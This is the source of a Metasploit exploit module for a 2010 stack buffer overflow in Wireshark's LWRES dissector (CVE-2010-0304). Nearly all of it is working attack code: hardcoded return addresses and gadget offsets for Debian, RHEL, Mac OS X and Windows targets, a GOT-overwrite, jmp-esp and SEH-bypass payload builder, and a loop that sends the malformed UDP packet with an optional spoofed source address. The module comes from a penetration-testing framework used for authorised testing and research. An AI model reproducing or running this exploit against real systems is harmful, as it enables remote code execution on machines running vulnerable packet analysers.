Path: blob/master/modules/exploits/multi/misc/wireshark_lwres_getaddrbyname_loop.rb
33222 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78include Msf::Exploit::Remote::Udp9include Msf::Exploit::Remote::Seh10include Msf::Exploit::Capture1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'Wireshark LWRES Dissector getaddrsbyname_request Buffer Overflow (loop)',17'Description' => %q{18The LWRES dissector in Wireshark version 0.9.15 through 1.0.10 and 1.2.0 through191.2.5 allows remote attackers to execute arbitrary code due to a stack-based buffer20overflow. This bug found and reported by babi.2122This particular exploit targets the dissect_getaddrsbyname_request function. Several23other functions also contain potentially exploitable stack-based buffer overflows.2425The Windows version (of 1.2.5 at least) is compiled with /GS, which prevents26exploitation via the return address on the stack. Sending a larger string allows27exploitation using the SEH bypass method. However, this packet will usually get28fragmented, which may cause additional complications.2930NOTE: The vulnerable code is reached only when the packet dissection is rendered.31If the packet is fragmented, all fragments must be captured and reassembled to32exploit this issue.3334This version loops, sending the packet every X seconds until the job is killed.35},36'Author' => [37'babi', # original discovery/exploit38'jduck', # ported from public exploit39'redsand' # windows target/testing40],41'License' => MSF_LICENSE,42'References' => [43[ 'CVE', '2010-0304' ],44[ 'OSVDB', '61987' ],45[ 'BID', '37985' ],46[ 'URL', 'http://www.wireshark.org/security/wnpa-sec-2010-02.html' ],47[ 'URL', 'http://anonsvn.wireshark.org/viewvc/trunk-1.2/epan/dissectors/packet-lwres.c?view=diff&r1=31596&r2=28492&diff_format=h' ]48],49'DefaultOptions' => {50'EXITFUNC' => 'process'51},52'Privileged' => true, # at least capture privilege53'Payload' => {54'Space' => 512,55'BadChars' => "\x00",56'DisableNops' => true57},58'DefaultTarget' => 4,59'Targets' => [60[61'tshark 1.0.2-3+lenny7 on Debian 5.0.3 (x86)',62# breakpoint: lwres.so + 0x2ce263{64'Arch' => ARCH_X86,65'Platform' => 'linux',66# conveniently, edx pointed at our string..67# and so, we write it to g_slist_append's GOT entry just before its called.68# pwnt.69#70# mov [ebx+0xc],edx / jmp 0x804fc40 -->71# mov [esp+4],eax / mov eax,[edi+8] / mov [esp],eax / call g_slist_append72#73'Ret' => 0x804fc85, # see above..74'RetOff' => 376,75'Readable' => 0x804fa04, # just anything76'GotAddr' => 0x080709c8 # objdump -R tshark | grep g_slist_append77}78],79[80'wireshark 1.0.2-3+lenny7 on Debian 5.0.3 (x86)',81{82'Arch' => ARCH_X86,83'Platform' => 'linux',84# the method for tshark doesn't work, since there aren't any convenient85# pointers lying around (in reg/close on stack)86#87# since the wireshark bin has a jmp esp, we'll just use that method..88'Ret' => 0x818fce8, # jmp esp in wireshark bin89'RetOff' => 376,90'Readable' => 0x8066a40, # just any old readable addr (unused)91'GotAddr' => 0x818601c # objdump -R wireshark | grep g_slist_append (unused)92}93],9495[96'wireshark 1.2.5 on RHEL 5.4 (x64)',97{98'Arch' => ARCH_X64,99'Platform' => 'linux',100'Ret' => 0xfeedfed5deadbeef,101'RetOff' => 152102}103],104105[106'wireshark 1.2.5 on Mac OS X 10.5 (x86)',107{108'Arch' => ARCH_X86,109'Platform' => 'osx',110'Ret' => 0xdeadbeef,111'RetOff' => 268112}113],114115# The following target was tested against Windows XP SP3 and Windows Vista116[117'wireshark/tshark 1.2.1 and 1.2.5 on Windows (x86)',118{119'Arch' => ARCH_X86,120'Platform' => 'win',121# NOTE: due to the length of this packet, your mileage may vary.122'Ret' => 0x61B4121B,123# 0x655810b6 = pop/pop/ret in libpango124# 0x02A110B6 = pop/pop/ret in libgtk-w125# 0x03D710CC = pop/mov/pop/ret in packet126# 0x61B4121B = pop/pop/ret in pcre3127'RetOff' => 2128128}129],130],131'DisclosureDate' => '2010-01-27',132# Set it to passive mode to background it.133'Stance' => Msf::Exploit::Stance::Passive,134'Notes' => {135'Reliability' => UNKNOWN_RELIABILITY,136'Stability' => UNKNOWN_STABILITY,137'SideEffects' => UNKNOWN_SIDE_EFFECTS138}139)140)141142register_options([143Opt::RPORT(921),144Opt::RHOST('239.255.255.250'),145OptAddress.new('SHOST', [false, 'This option can be used to specify a spoofed source address', nil]),146OptInt.new('DELAY', [true, 'This option sets the delay between sent packets', 5])147])148149register_advanced_options([150OptBool.new('ExitOnSession', [ false, 'Return from the exploit after a session has been created', true ])151])152153deregister_options('FILTER', 'PCAPFILE')154end155156def exploit157check_pcaprub_loaded # Check first158159ret_offset = target['RetOff']160161# we have different techniques depending on the target162if (target == targets[0])163# debian tshark164str = make_nops(ret_offset - payload.encoded.length - 16)165str << payload.encoded166str << [target['GotAddr'] - 0xc].pack('V')167str << rand_text(4)168str << [target['Readable']].pack('V')169str << rand_text(4)170# ret is next171elsif (target == targets[1])172fix_esp = Metasm::Shellcode.assemble(Metasm::Ia32.new, 'add esp,-3500').encode_string173str = make_nops(ret_offset - fix_esp.length - payload.encoded.length)174str << fix_esp175str << payload.encoded176# jmp esp...177str << [target.ret].pack('V')178# jump back179distance = ret_offset + 4180str << Metasm::Shellcode.assemble(Metasm::Ia32.new, 'jmp $-' + distance.to_s).encode_string181elsif (target == targets[4])182# ugh, /GS and UDP length issues :-/183str = make_nops(ret_offset - payload.encoded.length)184str << payload.encoded185str << generate_seh_record(target.ret)186# jump back187distance = ret_offset + 8188str << Metasm::Shellcode.assemble(Metasm::Ia32.new, 'jmp $-' + distance.to_s).encode_string189else190# this is just a simple DoS payload191str = Rex::Text.pattern_create(ret_offset)192# str << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $+6").encode_string193end194195# add return address196# XXX: this isn't working?197# str << Rex::Arch.pack_addr(target.arch, target.ret)198str << [target.ret].pack('V')199200# form the packet's payload!201sploit = "\x00\x00\x01\x5d\x00\x00\x00\x00\x4b\x49\x1c\x52\x00\x01\x00\x01"202sploit << "\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00"203sploit << "\x00\x00\x00\x01"204sploit << [str.length].pack('n')205sploit << str206sploit << "\x00\x00"207208shost = datastore['SHOST']209if (shost)210print_status("Sending malformed LWRES packet (spoofed from #{shost})")211open_pcap212213p = PacketFu::UDPPacket.new214p.ip_saddr = datastore['SHOST'] || Rex::Socket.source_address(rhost)215p.ip_daddr = rhost216p.udp_sport = rand((2**16) - 1024) + 1024217p.udp_dport = datastore['RPORT'].to_i218p.payload = sploit219p.recalc220221while true222break if session_created? and datastore['ExitOnSession']223break unless capture_sendto(p, rhost)224225select(nil, nil, nil, datastore['DELAY'])226end227228close_pcap229230handler231else232print_status("Sending malformed LWRES packet every #{datastore['DELAY']} seconds.")233234handler235236while true237break if session_created? and datastore['ExitOnSession']238239connect_udp240udp_sock.put(sploit)241disconnect_udp242select(nil, nil, nil, datastore['DELAY'])243end244end245end246end247248249